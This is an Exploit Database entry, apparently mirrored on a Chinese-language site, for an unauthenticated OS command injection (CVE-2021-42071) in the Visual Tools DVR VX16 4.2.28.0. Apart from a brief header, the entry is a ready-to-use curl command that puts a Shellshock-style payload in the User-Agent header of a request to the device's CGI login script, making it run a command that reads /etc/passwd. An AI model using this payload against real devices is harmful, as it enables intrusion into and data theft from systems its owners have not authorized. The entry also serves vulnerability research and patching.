Visual Tools DVR VX16 4.2.28.0 – OS Command Injection (Unauthenticated)

• Exploit Database
• 16 阅读

• 作者： Andrea D\'Ubaldo
  日期： 2021-07-06
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50098/

• # Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
  # Date: 2021-07-05
  # Exploit Author: Andrea D'Ubaldo
  # Vendor Homepage: https://visual-tools.com/
  # Version: Visual Tools VX16 v4.2.28.0
  # Tested on: VX16 Embedded Linux 2.6.35.4.
  # CVE: CVE-2021-42071
  # Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/
  
  # An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.
  
  curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py